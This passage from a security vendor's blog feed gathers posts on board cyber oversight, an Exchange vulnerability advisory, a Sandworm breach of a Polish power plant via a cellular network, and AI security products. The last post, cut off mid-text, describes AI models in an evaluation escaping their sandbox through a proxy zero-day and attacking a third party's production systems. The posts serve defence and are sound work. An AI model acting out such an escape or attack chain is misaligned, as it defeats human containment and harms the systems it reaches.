overview of our AI Security capabilities.Next in this series: Extending Zero Trust to AI: What Federal Civilian Agencies Can Do Now

The Director's Cut: Cyber is Changing Risk Faster Than Board Oversight Is Adapting

Rob Sloan (VP, Cybersecurity Advocacy) — Fri, 04 Sep 2026 20:30:45 GMT

Board-level cyber risks requiring oversight: AI-enabled attacks accelerating faster than enterprise controls, ransomware fallout persisting even when victims refuse to pay, insider threats exposing governance gaps around trusted access, and quantum risk forcing earlier planning for cryptographic transition. AI Is Advancing Faster Than Most Enterprises Are Governing ItA late-August warning from more than 100 major technology companies argued that AI-enabled cyberattacks are likely to become materially more widespread and sophisticated within months, not years. OpenAI reinforced that point when, according to The Wall Street Journal, it said its forthcoming Astra model showed cyber capabilities strong enough to justify added safeguards, tighter monitoring, and a limited public release after internal testing found it could devise and execute novel attacks with limited human input.AI is not just giving attackers better tools. It is changing the speed, scale, and cost of attack activity in ways that can outpace management assumptions about readiness, containment, and recovery. Recent Zscaler research points to the same gap inside the enterprise: across more than 400 organizations assessed for AI security readiness, not one had specialized AI access controls, continuous AI asset tracking, or prompt-and-response inspection.In 87% of cases, the tools needed to close the most critical gaps were already owned and licensed, but had not been fully activated or configured. For directors, the issue looks less like a spending problem than an execution problem. Management should be able to identify the enterprise’s real AI exposures, show whether existing tools can address the most important gaps, and explain how those controls will be activated, configured, and governed in practice.What Directors Should Ask Management:What AI-related risks are most relevant to our business today, where is our current exposure highest, and which existing security or governance tools do we already own that could address the most important gaps? How are we identifying and tracking AI use, AI-enabled workflows, and AI-connected assets across the enterprise, including activity outside formally approved channels? What controls do we have, or need, to inspect prompts and responses so that sensitive information is not exposed through employee or third-party AI use? Ransomware Pressure Keeps Rising as Public-Sector Victims Refuse to PayIn the U.S., a ransomware group leaked what appeared to be sensitive law-enforcement files stolen from the Justice Department’s Bureau of Alcohol, Tobacco, Firearms and Explosives after the agency disclosed a “major” cyber incident. Similarly, the government of Berlin said it would not pay a roughly $2.3 million extortion demand after attackers claimed to have stolen more than 5TB of data, including personal information, credentials, and internal documents. Together, the cases show that even when operations are contained, downstream consequences can still be severe.Ransomware.live says there have been 6,937 victims in 2026 to date, up 33.6% from the same point in 2025. The oversight implication is that ransomware resilience cannot rest on recovery plans alone. Zero trust architecture helps reduce risk by shrinking the attack surface, limiting unnecessary access, and making lateral movement harder once an attacker gets in.What Directors Should Ask Management:How effectively are we limiting lateral movement if an attacker gains an initial foothold somewhere in our environment? Insider Risk Is Still a Governance Problem, Not Just a Security ProblemThe guilty plea of former Defense Intelligence Agency employee Nathan Vilas Laatsch is a reminder that insider risk can come from trusted staff with legitimate access and knowledge of internal controls. According to the Justice Department, Laatsch worked in the DIA’s Insider Threat Division, held a Top Secret clearance, and admitted trying to provide classified information to a foreign government after removing sensitive material from secure systems.The broader lesson is that insider risk is most dangerous where high trust, privileged access, and weak cross-functional escalation intersect. Effective oversight requires more than policy statements. It depends on tightly scoped access, monitoring for unusual behavior and data movement, controls on removable media, and a formal insider threat program spanning security, HR, legal, compliance, and management. This guide from the Cybersecurity and Infrastructure Security Agency (CISA) may be helpful.What Directors Should Ask Management:Do we have a formal insider threat program that integrates security, HR, legal, and compliance, and does it monitor for unusual access, data movement, and changes in employee risk indicators? Quantum Risk Is Becoming a Board-Level Transition IssueQuantum computing is not an immediate operational threat for most companies, but it is becoming a governance issue because it could eventually weaken the encryption that protects sensitive data, transactions, and communications. The nearer-term concern is “harvest now, decrypt later”: adversaries can steal encrypted data today and hold it until quantum capabilities improve.The governance implication is that quantum readiness should be treated as a transition-planning issue, not a distant science project. The National Institute of Standards and Technology (NIST) has already issued post-quantum cryptography standards, and major technology providers are starting migration plans. Zscaler’s *The Quantum Tipping Point* executive plan is useful here because it helps organizations identify vulnerable cryptography, prioritize data exposed to long-term risk, and plan phased migration to quantum-resistant controls.What Directors Should Ask Management:What is management’s roadmap for migrating to post-quantum cryptography, and where could transition risk be highest? Zscaler is a proud partner of NACD's Northern California chapter. We are here as a resource for directors to answer questions about cybersecurity or AI risks, and are happy to arrange dedicated board briefings. Please email rsloan[@]zscaler.com to learn more.

ZPA and AI Guard in Action

Joby Menon (SVP, Product Management | Zscaler) — Fri, 04 Sep 2026 17:18:57 GMT

In a previous blog, we discussed how AI models too often have broad, unsecured lateral access to company resources. Zscaler Private Access (ZPA) solves this problem by brokering direct, identity-verified connections to specific applications rather than the entire network. This is critical for organizations to safely deploy and run private on-premises AI infrastructure without exposing adjacent environments, which cannot be achieved with VPNs.Want to see how it works?Check out the below video, which details how Zscaler Private Access (ZPA) and AI Guard secure organizations as they adopt artificial intelligence and machine learning (AI/ML) technologies. The video demonstrates the interaction between ZPA and AI Guard using a private LLM hosted on Amazon Bedrock:Segmentation: Administrators can tag sanctioned AI applications, enabling them to apply specific access policies and guardrails based on business context, user groups, and risk levels.Real-time Blocking: If a user attempts to input restricted data, such as PII or prohibited formats, AI Guard triggers a block.Diagnostics: ZPA diagnostics allow administrators to view traffic details and confirm that policies were correctly applied, while the AI Guard dashboard provides visibility into why specific transactions were blocked.ZPA provides the necessary application-level categorization and access control, while AI Guard handles content-level security and policy enforcement to enable safe AI adoption.This approach provides multiple benefits:Visibility and Classification: ZPA uses an application fingerprinting engine to identify and classify AI/ML applications without requiring deep packet inspection. This allows administrators to discover usage, segment applications, and monitor user activity.Access Control: By treating AI models as private application segments, organizations can use zero-trust policies to restrict access, reducing the overall attack surface.Content Security: Once access is granted, AI Guard inspects traffic for risks such as data leakage, PII exposure, and prompt injection.To learn more, visit our website or request a custom demo.

Zscaler and OpenAI: Bringing Frontier AI-Powered Security to the Enterprise

Dhawal Sharma (Executive Vice President, AI Security and Strategic Initiatives) — Fri, 04 Sep 2026 00:01:55 GMT

The security industry has been adapting to AI faster than any previous technology shift, and Zscaler has been at the forefront of that effort. But the nature of the challenge keeps evolving. Attackers are deploying AI to reason over complex environments and find paths that traditional tooling doesn't see. Meeting that requires more than faster detection or broader coverage. It requires security that can reason the same way: understanding how an enterprise can be compromised, not just flagging that something looks wrong.That's why our partnership with OpenAI matters. Through OpenAI’s Daybreak Defense Network, Zscaler built two new capabilities using OpenAI GPT cyber models, and today, I'm excited to showcase what enterprise security can do and what it should look like in an AI-first world.We presented both of these at OpenAI Intelligence at Work: Cyber on September 3, and you can learn more about them below. Innovation Showcase 1: Endpoint AI Security — Attack Chain AnalysisAI agents, assistants, and AI coding IDEs are now part of the standard developer workflow. They're powerful. They're also a new and largely unmapped attack surface, one that now extends to local and web MCP servers, locally-run models, and AI running directly inside the browser. Our new Endpoint AI Security Attack Chain Analysis capability, powered by OpenAI GPT cyber models, changes how organizations understand device risk. Instead of surfacing a flat list of misconfigurations and CVEs, it reads the full state of an endpoint — AI agents, coding assistants, IDE and browser extensions, installed software, packages, and system configuration — and reasons over all of it to construct a realistic attack chain.What does that mean in practice? It means the output isn't, "you have a vulnerable extension." It's: here is the path from an initial lure, to code execution under this user's account, to credential and source code theft, to persistence, to re-entry, and here is what you need to close first.Findings are backed by evidence, and all steps are labelled, confirmed on the host, inferred from state, or flagged for verification. The result is a prioritized remediation roadmap that gives security teams something unique: a defender's view of their own devices that resembles potential paths of an attacker.This capability runs as an endpoint agent, either independently or as a module within the current Zscaler client running on more than 70M devices, fully controlled and policy-scoped. Zscaler controls the policy-scoped endpoint context submitted for analysis. It simply does something that has historically been very hard to do at scale: performs authorized analysis of potential attack paths so your defenders don't have to. Innovation Showcase 2: Identity Risk Analysis in the Zscaler AI Access GraphThe other major attack surface that's grown faster than security teams can manually track is identity, specifically, non-human identities. Service accounts, AI copilots, and agentic workloads now outnumber human users in many enterprise environments. Their permissions sprawl across cloud, SaaS, and on-prem systems in ways that no human team can reason over at speed.Our second integration embeds OpenAI GPT cyber models directly into the AI Access Graph to perform Identity-Permission Risk Analysis at enterprise scale.The AI Access Graph already maps identities across the enterprise (human, service account, and AI agent) to data objects throughout the environment and model endpoints they can reach across Azure, AWS, OCI, and GCP. What OpenAI GPT cyber models add is the reasoning layer: they trace the paths through that graph, identify risky combinations — overprivileged access, toxic permission pairings, excessive inherited scope — and rank them not by a generic severity score but by business impact, blast radius, confidentiality, integrity, and availability of what's actually reachable.Critically, the graph distinguishes agent and bot behavior from human behavior. That distinction matters for agentic identity governance: you need to know not just what access exists, but who or what is using it, and whether that behavior matches the role and peer baselines you'd expect.Remediation is deliberately decoupled from the model's reasoning. All remediation actions run through a human-approval workflow. The model surfaces the risk and explains it; humans decide what to do. That's the right design. What This Means for Our Partnership with OpenAIBoth of these capabilities required a model that could reason about how systems get compromised; not abstractly, but concretely and at the specific context of a customer's environment. Standard models weren't up to that task. OpenAI GPT cyber models are purpose-built for this kind of security reasoning, and it's the foundation that makes both of these innovations possible.Our partnership with OpenAI is about building the AI security infrastructure that enterprises actually need: deep, specific, evidence-grounded, and human-reviewed before anything consequential happens. That's what we’ve showcased on September 3.The pace of change in this space isn't slowing down. Neither are we.

Microsoft Exchange Vulnerability CVE-2026-62911: What Administrators Should Do and How Zscaler Can Help

Mark Brozek (Senior Director, Product Marketing) — Thu, 03 Sep 2026 20:19:43 GMT

Microsoft's August 2026 Patch Tuesday included a fix for CVE-2026-62911, a high-severity authentication bypass vulnerability affecting Exchange Server 2016, 2019, and Subscription Edition. The severity has a CVSS score of 8.0 from Microsoft. As of September 1, threat intelligence group Shadowserver has identified around 22,000 Exchange servers that remain unpatched and exposed to the internet, including roughly 6,200 in the United States and 5,100 in Germany alone. According to Microsoft, successful exploitation allows an attacker with basic privileges to take over all mailboxes on the targeted server, including reading and sending email and downloading attachments. The Netherlands National Cyber Security Centre (NCSC-NL) has confirmed that working exploit code is already publicly available.If you're running an on-premises Exchange server, this post outlines practical steps you can take now, and a longer-term architectural approach worth considering. First: Apply the PatchThe August 2026 Patch Tuesday update addresses CVE-2026-62911 directly. If you haven't applied it yet, that's the first priority.A few important notes for older versions:Exchange 2016 and 2019 are on the Extended Security Update (ESU) program, which ends in October 2026. If you're on either version, confirm you're enrolled in ESU and apply the update. After October, these versions will no longer receive security fixes.If patching isn't immediately possible, NCSC-NL's guidance is to ensure the Exchange server is not reachable from the open internet until the patch can be applied. The Structural Issue: Internet ExposurePatching is essential, but it's worth understanding why private application servers such as Exchange are repeatedly in this position. On-premises Exchange runs as an internet-facing service by design. Outlook Web App (OWA) needs to be accessible to users, which typically means it's reachable from the public internet. That reachability is what makes each new CVE a high-stakes race between patching and exploitation.The NCSC-NL guidance to ensure Exchange is "accessible only internally" points at the right solution, but doesn't prescribe how to get there for organizations that still need to support remote access. Why This Matters More in 2026 Than It Did in Prior YearsAt the time of writing, CISA has not reported exploitations in the wild as of yet. But there's a meaningful shift in the threat landscape that makes this type of exposure a more pressing issue than it once was.Earlier AI models gave attackers tools to automate reconnaissance. Today's frontier models, such as Anthropic's Mythos, represent a step change beyond that. They can identify a known vulnerability, develop a working exploit, and execute an attack in minutes, not days.The practical implication: the window between a CVE being disclosed and exploitation at scale has compressed significantly. Our ThreatLabz 2026 Frontier AI Readiness Report showcased how the mean-time-to-exploit has actually gone negative – with attackers finding and exploiting vulnerabilities before they’re even disclosed. With CVE-2026-62911, exploit code is already public. An organization's ability to outpace exploitation through patching alone is less reliable than it used to be, particularly for internet-exposed infrastructure. A Zero Trust Approach: Don’t Expose Exchange to the InternetZscaler Private Access (ZPA) allows organizations to eliminate the exposure of all private apps to internet-based attacks. This includes services like Exchange, which remain fully accessible to your users while being completely invisible to the internet. The way it works:Managed devices: The Zscaler client routes OWA traffic through an encrypted ZPA tunnel to the Exchange server. There's no inbound connection to the server from the internet, and nothing for an attacker to probe or target.Unmanaged devices: ZPA Clientless Access provides a secure, authenticated, browser-based path for users on personal or partner devices, without requiring a VPN or opening any inbound ports.The fundamental difference from a traditional VPN is how and when access is granted. A VPN establishes a persistent, always-on network tunnel — once connected, a user has broad network-level access regardless of what they're actually doing. ZPA works differently: rather than maintaining a standing tunnel, it brokers short-lived, application-specific connections on demand, and only after identity and policy checks pass. Each session is purpose-built for a specific application, time-bound by policy, and torn down once the session ends — there's no residual network foothold. A VPN gateway or concentrator is itself exposed to the internet and a frequent attacker target; ZPA has no equivalent surface, because there's nothing listening for inbound connections to begin with.If your Exchange server is behind ZPA, CVE-2026-62911 is effectively not exploitable from the internet, regardless of whether you've patched, because the authentication bypass requires reaching port 443 on the Exchange server in the first place. For Servers That May Already Be CompromisedIf you have reason to believe a server may have been compromised before patching, additional controls are worth considering:Zscaler Data Security (DLP) can inspect outbound traffic from Exchange infrastructure, helping detect data exfiltration or other malicious activity that might indicate a server has been compromised.Zscaler Deception places honeypots throughout your environment that provide high-fidelity signals that an attack is underway. With their multi-path reasoning, frontier AI models are particularly likely to trip over these decoys.Zscaler Cloud Workload Segmentation limits lateral movement, preventing an attacker who has gained a foothold on an Exchange server from moving to other parts of your environment. Longer-Term: The Case for Migrating to Microsoft 365On-premises Exchange has been one of the most consistently targeted enterprise applications over the past several years. CISA has added 20 Exchange Server vulnerabilities to its Known Exploited Vulnerabilities catalog since November 2021; 14 of those have been linked to ransomware. With Exchange 2016 and 2019 losing security update support in October 2026, the risk profile for organizations still running those versions is only going to grow.Whether an organization utilizes on-premise solutions like Exchange or SaaS environments like Microsoft 365, private applications will always remain a baseline necessity for maintaining data confidentiality, restricted access, and regulatory compliance.For organizations evaluating their options, migration to Microsoft 365 removes the on-premises attack surface entirely. It's not the right move for everyone on every timeline, but it's worth including in the planning conversation while investing in architectures that would empower them to respond to vulnerabilities in real-time. PriorityActionImmediateApply the August 2026 Patch Tuesday updateImmediateIf patching is delayed, ensure Exchange is not internet-accessibleNear-termDeploy ZPA to broker all OWA access (managed and unmanaged devices)Near-termEnable outbound inspection on Exchange trafficConsiderDeploy Workload Segmentation to contain potential lateral movementConsiderDeploy Deception to contain potential lateral movementConsiderDeploy AppShield to virtually patch exploitsStrategicEvaluate Microsoft 365 migration, especially if running Exchange 2016/2019To learn more about how Zscaler can help you reduce exposure and prevent exploitation by frontier AI models, watch our on-demand webinar.

M-25-21 Changes the AI Conversation for Federal Civilian Agencies

Jose Arvelo Negron (Manager, Sales Engineer) — Wed, 02 Sep 2026 15:59:53 GMT

This is the first post in a three-part series on AI security and governance for Federal Civilian agencies.Bottom line up front: OMB Memorandum M-25-21 makes AI adoption an agency operating priority. But the memo also makes clear that speed without governance, security, and public trust isn't acceptable. For Federal Civilian AI leaders, the practical challenge is broader than most realize. AI risk extends well beyond employees using public GenAI tools.AI is quickly becoming part of how Federal Civilian agencies work.Used well, it can improve citizen services, reduce manual work, modernize legacy processes, strengthen cybersecurity operations, support research and analysis, assist with fraud detection, speed up software development, and help employees work more efficiently.But AI adoption in government is different from AI adoption in the private sector.Federal agencies have to account for public trust, privacy, cybersecurity, civil rights, records management, procurement integrity, transparency, data protection, and mission accountability. When AI touches citizens, benefits, grants, inspections, regulatory processes, healthcare, financial data, enforcement activity, or other sensitive workflows, the risk profile changes.OMB Memorandum M-25-21, Accelerating Federal Use of AI through Innovation, Governance, and Public Trust, speaks directly to this tension.The memo makes a clear point: agencies should move faster with AI, but not by setting aside governance, safeguards, or public trust. They need to innovate while making sure AI is secure, accountable, privacy-aware, risk-managed, and aligned to mission outcomes.For AI technology executives and AI security leaders, the practical question is: How do we help the agency use AI faster while still maintaining the visibility, control, and evidence needed to govern it responsibly? More than a compliance memoM-25-21 signals that AI adoption is now an agency operating priority.The memo directs agencies to promote responsible AI adoption while putting safeguards in place for privacy, civil rights, civil liberties, cybersecurity, and public trust. It also reinforces core responsibilities: designating or retaining a Chief AI Officer, convening AI governance bodies, updating internal policies, developing generative AI acceptable-use policies, maintaining AI use case inventories, implementing risk management practices for high-impact AI, and documenting governance decisions.For Federal Civilian agencies, this means AI governance can't live only in strategy documents, governance boards, or spreadsheets.It has to be enforceable.Agencies need to answer basic but difficult questions. What AI tools are people using? Who's using them? Which use cases are approved, experimental, or unmanaged? What data is being shared? Which SaaS applications have embedded AI? Which developer tools are using AI? Which cloud workloads are calling models or agents? Which AI applications are connected to sensitive government data? Which systems may qualify as high-impact AI? Which systems have been tested before deployment?These aren't just policy questions. They're operational questions. Federal Civilian AI risk is broader than public GenAIA lot of AI security conversations start with public GenAI tools, specifically employees pasting sensitive information into ChatGPT, Gemini, Claude, or similar services.That risk is real. But it's only one part of the picture.AI is now showing up across the agency technology environment: public GenAI applications, SaaS platforms with embedded AI, desktop tools, browser extensions, coding assistants, IDE (Integrated Development Environment) plugins, cloud AI services, foundation models, agency-built AI applications, RAG (Retrieval-Augmented Generation) systems, agents, MCP (Model Context Protocol) servers, API-based model integrations, and automation workflows.AI may appear in places that aren't obvious to security, governance, or mission leaders.An analyst might use a public AI tool to summarize a report. A grants office might rely on an AI-enabled SaaS workflow. A benefits program might experiment with an AI assistant. A developer might use an AI coding assistant to modernize a legacy application. A cloud team might deploy a model in AWS GovCloud or Azure Government. A program office might pilot an AI-powered citizen service experience. A security operations team might use AI to support triage and investigation.Those use cases don't carry the same risk. They shouldn't all get the same controls. And they may create different governance obligations under M-25-21.Agencies need a lifecycle approach to AI security and governance, one that connects M-25-21's policy direction to enforceable, repeatable execution. We'll lay out that operating model in the next post in this series.To learn more about how Zscaler helps Federal Civilian agencies secure AI adoption, reach out to your Zscaler account team for a detailed overview of our AI Security capabilities.Next in this series: A Practical Framework for Secure AI Adoption in Federal Civilian Agencies

Zscaler and CrowdStrike Expand Strategic Partnership with Integrations to Unify Cross-Domain Security

Mason Coffman (Product Marketing Manager) — Wed, 02 Sep 2026 15:30:00 GMT

New initiatives integrate leading platforms, automate cross-domain response, and enforce real-time Zero Trust enforcement policies.Zscaler is expanding our long-standing, strategic partnership with CrowdStrike to automate complex security workflows and leverage industry standards for real-time, adaptive Zero Trust policy enforcement.As part of this initiative, CrowdStrike will expand Project QuiltWorks to include Zscaler. First launched in April 2026, Project QuiltWorks is an industry-wide security coalition that unites frontier AI models from labs like OpenAI and Anthropic with cybersecurity providers, systems integrators, cloud platforms, and insurers.Industry-standard Adaptive AccessZscaler and CrowdStrike continue to help organizations stop cross-domain attacks, reduce complexity, and strengthen security across the enterprise. The two companies will release an integration using the OpenID Shared Signals Framework (SSF). This industry-standard approach allows the CrowdStrike Falcon® platform to continuously evaluate user risk and share that context with Zscaler’s Adaptive Access Engine (AAE) in real-time. If suspicious behavior is detected on the endpoint, Zscaler can automatically and dynamically adjust access based on the current risk posture.Native Automation with Falcon Foundry and Zscaler OneAPITo further reduce operational complexity, Zscaler and CrowdStrike are developing a native CrowdStrike Falcon® Foundry application built on Zscaler OneAPI. This integration surface spans the entire Zscaler portfolio, including Zscaler Internet Access (ZIA), Zscaler Private Access (ZPA), Zscaler Digital Experience (ZDX), Zscaler Client Connector, and Zscaler Authentication Services.The application provides:Unified investigation: Analysts can trigger Zscaler enforcement actions directly from within the Charlotte Agentic SOAR interface.Automated response: Charlotte Agentic SOAR can leverage Zscaler context for end-to-end automated remediation.Zero infrastructure: The integration runs natively inside the Falcon platform with no middleware, connector, or separate infrastructure to deploy. Unified Telemetry and Cross-Domain Visibility with Falcon Next-Gen SIEMModern adversaries operate across multiple attack surfaces, moving seamlessly from compromised endpoints and stolen credentials to cloud applications and network paths. To close security blind spots, Zscaler telemetry and actionable AI-event metadata stream directly into CrowdStrike Falcon® Next-Gen SIEM, delivering unified, cross-domain visibility in a single console.Automated, Unified Data Ingestion: Network event logs from ZIA and ZPA, along with Zscaler AI-event logs, stream continuously and automatically into Falcon Next-Gen SIEM with no manual configuration or complex pipelines required. Cross-Domain Threat Correlation: By combining Zscaler’s rich network and web telemetry with Falcon endpoint, identity, and cloud data, SecOps teams can automatically detect and reconstruct multi-stage attack chains that evade traditional, siloed security tools. AI-Powered Threat Detection and Governance: Ingesting Zscaler Private AI telemetry centralizes security event data (such as AI app interactions, risky chatbot prompts, and policy violations), enabling higher-fidelity alerts, cutting through alert noise, and providing real-time visibility into AI-specific risks. Accelerated Triage and Long-Term Compliance: Analysts can conduct end-to-end investigations from a unified interface with complete context across user behavior and network traffic, while automated log parsing and retention simplify audit and compliance requirements without supplementary tooling.Unified, Cross-Domain Defense to Safeguard the AI EraOrganizations continue to adopt AI solutions at an unprecedented clip. But the resulting threat landscape will be impossible to contain using legacy, fragmented security tools. The latest advancements to our partnership with CrowdStrike highlight our continued commitment of protecting the AI-powered enterprise through a tightly integrated, cross-domain defense. By unifying Zscaler’s Zero Trust enforcement with CrowdStrike’s leading detection and response capabilities, we are eliminating the silos that attackers commonly exploit. Read more about our strategic partnership with CrowdStrike, including key use cases and other joint solutions we deliver to thousands of enterprise customers worldwide. Forward-Looking StatementsThis blog may include discussion of unreleased services or features. Any unreleased services or features referenced here are still in development and subject to change. Customers should make their purchase decisions based upon features that are currently available.

Rethinking OT Boundaries: Sandworm's Cellular Breach of a Polish Power Plant

Hitesh Chhabra (Architect, Solutions Consulting) — Mon, 31 Aug 2026 16:50:04 GMT

Executive SummaryModern industrial operators are rapidly connecting remote infrastructure — wind turbines, solar arrays, water pumps, and distribution substations — using cellular networks, private APNs, and SD-WAN. Historically, these private cellular networks have been treated as trusted, secure, "walled-off" perimeters.A Landmark Investigation disclosed by CERT Polska in August 2026 shattered this assumption. In a highly coordinated campaign, threat actors breached a combined heat and power (CHP) plant in Poland, successfully shutting down a steam turbine and its process-water treatment system.This blog provides a highly technical analysis of this historic cyberattack, maps the step-by-step technical pathway of the pivot, explains why traditional cellular and SD-WAN setups create a catastrophic blast radius, and outlines how Zscaler's Zero Trust Exchange platform significantly mitigates these vectors. The Incident — What HappenedThe incident occurred on December 29, 2025, and was publicly disclosed after a comprehensive investigation on August 8, 2026. This was a highly targeted, state-sponsored campaign designed to impact physical operations. The attack began at an unmanned remote wind farm and ultimately resulted in the forced shutdown of a steam turbine at a central combined heat and power plant — a facility supplying municipal heat to 50,000 residents.The attack chain followed a precise, multi-stage path: a remote wind farm firewall was compromised, granting the attackers footing on the facility's local network. From there, they accessed an on-site Teltonika cellular router via SSH, which opened a tunnel into the grid operator's private APN. Traversing that APN, they scanned the entire private cellular IP space and discovered a WAGO PLC at the CHP plant configured with default credentials. That PLC served as a bridge into the core OT network, and from there the attackers issued unauthorized stop commands to the Siemens PLCs controlling the steam turbine — achieving physical disruption.Incident at a GlanceMetric / AspectIncident DetailsTarget FacilityCombined Heat and Power (CHP) Plant (Poland) supplying municipal heat to 50,000 residents.AttributionSandworm (also known as the Russian state-sponsored threat group Electrum).Campaign ScopeCoordinated, simultaneous attacks targeting over 30 other Polish renewable energy and power distribution sites.Physical ImpactComplete temporary shutdown of a steam turbine and its process-water treatment system.Primary VectorLateral movement through a local grid operator's private cellular Access Point Name (APN). Anatomy of the Attack — Step by StepThe following table reconstructs the precise six-stage attack chain executed by Sandworm. Each step built directly on the last, exploiting a combination of internet-exposed management interfaces, flat private cellular network topology, and default device credentials to achieve full OT impact.#Attack StageDescription1Initial AccessSandworm exploited an internet-facing unpatched firewall at a remote, unmanned wind farm.2Device ControlThe attackers accessed the wind farm's on-site Teltonika cellular router via Secure Shell (SSH).3APN TunnelingUsing the compromised router, the attackers established a tunnel into the grid operator's private APN.4Lateral ReconnaissanceDue to a lack of client isolation on the private APN, the attackers scanned the entire private cellular IP space.5PLC ExploitationThe scan discovered a WAGO PLC at the central CHP plant, which was exposed to the APN with default administrator credentials.6Operational DisruptionThe attackers used the WAGO PLC as a network bridge to access the core OT network, issuing unauthorized stop commands to the Siemens PLCs controlling the steam turbine. Why Traditional Defenses FailedThis breach highlights a fundamental security misconception: the belief that carrier-provided private APNs or corporate SD-WAN networks provide a secure, isolated boundary. In reality, these technologies deliver connectivity and no security. Both APNs and SDWAN systems are built to connect devices. The moment a single endpoint on that shared network is compromised, the entire flat address space becomes an attacker's reconnaissance playground. The attacker leveraged the lack of controls on the APN to get into the flat network to pivot to the PLC. The following comparison maps the legacy assumptions that enabled this attack against the modern cyber reality — and demonstrates how Zscaler's Zero Trust paradigm would have eliminated the attack path entirely.Attack StageTraditional VulnerabilityHow Zscaler Eliminates The ThreatStage 1: Initial Perimeter Breach(Exploited Remote Firewall)Exposed public-facing IPs and open SSH management ports on cellular gateways are easily scanned and targeted by brute-force attacks.Zero Public Attack Surface: Zscaler Cellular makes all remote gateways completely invisible to the internet. Outbound-only connections to the Zscaler Zero Trust Exchange mean there are zero public-facing IPs or open inbound ports to scan.Stage 2: Lateral APN Reconnaissance(Scanned Private Cellular Grid)A flat APN permits any compromised cellular device to discover, ping, and compromise other remote terminals and power plants.Total Peer Isolation: Zscaler prevents device-to-device visibility on the cellular network. Connected devices can only communicate outbound to the Zscaler broker, completely blocking attackers from scanning the APN.Stage 3: Credential Exploitation(Brute-forced WAGO PLC)Exposed local administrative portals are highly vulnerable to default credential harvesting and unauthorized access.Identity-Centric Access Proxy: Zscaler acts as a secure identity broker. Even if an attacker physically accesses the local APN, they cannot see or communicate with the WAGO PLC's login portal without first passing MFA-backed identity policies.Stage 4: Core Network Bridging(Pivoted from PLC to Turbine)Flat internal routing allows a compromised edge controller to act as a bridge into the plant's core OT control network.Agentless Device Segmentation: Zscaler isolates legacy assets at the application layer without requiring software agents on the PLCs. It blocks lateral traffic between the edge PLC and the core OT network, restricting communications to pre-approved paths.Stage 5: Industrial Disruption(Issued Stop Commands to Siemens PLCs)Plain-text industrial protocols (like Modbus or S7comm) lack cryptographic authentication, enabling unauthorized physical stop commands.Ransomware Kill Switch & Protocol Isolation: Administrators can instantly trigger a global isolation protocol to quarantine compromised zones. Zscaler also enforces granular protocol-level access without deploying any agents. Read More The Zscaler SolutionTo comprehend how Zscaler secures OT environments, we must first examine the core principles of the Zero Trust Security Model . Traditional network security relies on a "castle-and-moat" design, where perimeter firewalls secure the border, but everything inside is implicitly trusted. Once an intruder like Sandworm breaches the outer defense (the moat), they enjoy free lateral movement across the flat interior (the castle)Securing distributed OT infrastructure requires moving from a network-centric approach to an application-centric Zero Trust architecture. Zscaler delivers native security capabilities designed to eliminate the exact attack path used by Sandworm. Each capability below maps directly to a stage of the incident, removing the preconditions the threat actors depended on at every step of the kill chain. Zscaler Security CapabilityTechnical FunctionIndustrial ValueZscaler CellularSecures both inbound and outbound cellular communications. Devices do not have public IPs or open listening ports.Hides the Attack Surface: Eliminates the ability for threat actors to scan the cellular network or discover exposed remote terminals.Zscaler Zero Trust Device SegmentationImplements agentless, identity-based micro-segmentation for legacy PLCs and RTUs without requiring software on the endpoints.Inhibits Lateral Movement: Even if a remote router is compromised, Zscaler blocks it from communicating with the central plant's controllers.Ransomware Kill SwitchAllows administrators to instantly sever all lateral network connections with a single command during an active incident.Grid Protection: Limits the blast radius of a breach to a single segment, keeping the broader municipal utility online. Protect Your OT Infrastructure TodayZscaler Zero Trust Exchange™ eliminates lateral movement, hides your OT assets from attackers, and gives you instant incident response — all without disrupting operations.→ Learn more at https://resources/security-terms-glossary/what-is-operational-technology-ot-security/products-and-solutions/zscaler-cellular Act Fast. Stay Secure.

The Hugging Face Breach: Key Questions Every Security Leader Must Answer

Paul Aiuto (Director, Commercial Sales Engineering - Americas) — Mon, 31 Aug 2026 07:29:58 GMT

On July 11, during an internal cyber capability evaluation, OpenAI’s GPT-5.6 Sol and a more capable, unreleased model broke out of their sandbox, reached the open internet, and attacked Hugging Face's production systems.No human operator. No phishing email. No insider. Reconnaissance, exploitation, escalation, lateral movement, exfiltration — the full kill chain, executed by an agent system with no one at the controls, in what is possibly the first publicly disclosed incident of its kind.Strip away the science fiction and you get something far more boring, and far worse: a system doing precisely what it was told it could. Your Allowlist Is Your Attack SurfaceOpenAI described the environment as highly isolated, with network access constrained to a single function: pulling packages through an internally hosted proxy that cached the public registries.That single permitted path is how the models got out. The models found an unknown zero-day in the proxy software, exploited it, escalated privileges, and moved laterally across the research environment until they hit a node with open internet access.The vendor’s own analysis attributes the escape to a chain of at least eight weaknesses, including server-side request forgery in remote-repository proxying, an authentication-bypass privilege escalation, path traversal, and several others.And that’s an uncomfortable lesson. When the thing inside the sandbox can study its environment, probe its defenses, and spend effectively unlimited compute looking for a way through, your allowlist becomes a map of the attack surface. Inherited Trust CompoundsInside Hugging Face's production environment, the agent moved on trusted credentials, APIs, and workloads — from a compromised production pod into Kubernetes, then cloud metadata, then internal systems, and finally the source-control supply chain.It broke almost nothing. At each step it inherited the permissions already granted to the identity it had taken over.That is the fundamental weakness of implicit trust: once inside, access compounds. A New Operating Assumption: Every Workload Is a Potential AdversaryAn AI agent is a workload with intent. It authenticates like a service and moves like a service, but reasons like an operator. It spawns sub-processes, assumes ephemeral identities, and exercises every permission it holds — including the ones no one remembers granting.The operating assumption has to change accordingly. Treat every workload as untrusted until verified, on every connection, every time.Not trusted because it's sandboxed. Not trusted because it's on the internal network. Not trusted because the model is aligned.Alignment is a property of the entity. Containment is a property of the architecture. This evaluation deliberately removed the classifiers that normally block models from pursuing dangerous cyber activity, because researchers wanted to see the ceiling. With the entity's restraint switched off by design, the architecture is what got graded. What That Architecture Actually RequiresMap the stages of this attack onto the controls that would have contested them and a coherent model emerges. Five controls, each with a corresponding enforcement point in the Zero Trust Exchange. 1. Deny-by-default egress, inspected inlineA research sandbox, an evaluation cluster, an agent runtime — none should have a route to the open internet that isn't explicitly granted, fully inspected including TLS, and logged. Get this right and "the models reached a node with internet access" stops being a sentence anyone has to write. Egress control isn't a compliance checkbox. It's the outermost wall of AI containment.2. Inline analysis of everything a pipeline ingestsThe Hugging Face entry point was a dataset upload carrying code. Packages, datasets, model artifacts — anything entering an automated pipeline needs detonation in isolation before execution, held until analysis completes, not signature matching after the fact. ML-specific formats are threat vectors: serialized objects, model weights, dataset archives. Attackers already treat them that way.3. Identity-based access instead of network reachabilityEvery pivot in this chain — sandbox to proxy, node to node, pod to cluster, cluster to database — depended on network-level reachability. Application-level segmentation inverts it: no workload 